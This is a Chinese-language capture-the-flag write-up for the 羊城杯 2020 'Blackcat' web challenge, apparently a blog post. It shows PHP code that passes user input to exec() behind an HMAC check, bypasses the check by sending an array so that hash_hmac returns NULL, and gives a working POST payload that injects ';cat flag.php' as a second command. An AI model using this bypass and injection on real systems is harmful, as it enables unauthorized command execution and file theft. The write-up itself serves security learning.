[羊城杯 2020]Blackcat

访问页面,view-source一下;
题目暗示要听歌
在这里插入图片描述
点开mp3文件,在结尾发现了php源代码;

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

首先需要POST参数Black-Cat-SheriffOne-ear
getenv()从环境中取字符串,获取环境变量的内容;
然后POST参数White-cat-monitor,并且HMAC算法生成哈希值,调用两次;
最后判断生成的哈希值与Black-Cat-Sheriff是否相等;
One-ear需要去获取flag的内容;

hash_hmac($algo, $data, $key)
这道题的难点应该在于如何在不知道获取的环境变量的情况下去得到两轮加密的哈希值;
如果我们让第一次加密得到的值是我们可知的,那么第二次加密得到的值也是我们可控的;
当传入的$data为数组时,加密得到的结果固定为NULL

var_dump(hash_hmac('sha256', array(0), 'Unknown_key'));

在这里插入图片描述

得到的结果为null

在这里插入图片描述
上图参考PHP Manual文档
如果加密的密钥$keynull的话,生成的哈希值也是我们所知的;
因此令$White-cat-monitor[]=K1ose
那么根据代码的逻辑,我们先得知道flag放在哪个文件里;
扫一扫目录;
在这里插入图片描述
有个flag.php
$One-ear=;cat flag.php;
这里的;是为了结束nc的指令,另起一个指令操作;
加密一下,获取hash值;
在这里插入图片描述
$Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6

POST这三个参数;

White-cat-monitor[]=K1ose&Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php

得到flag

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值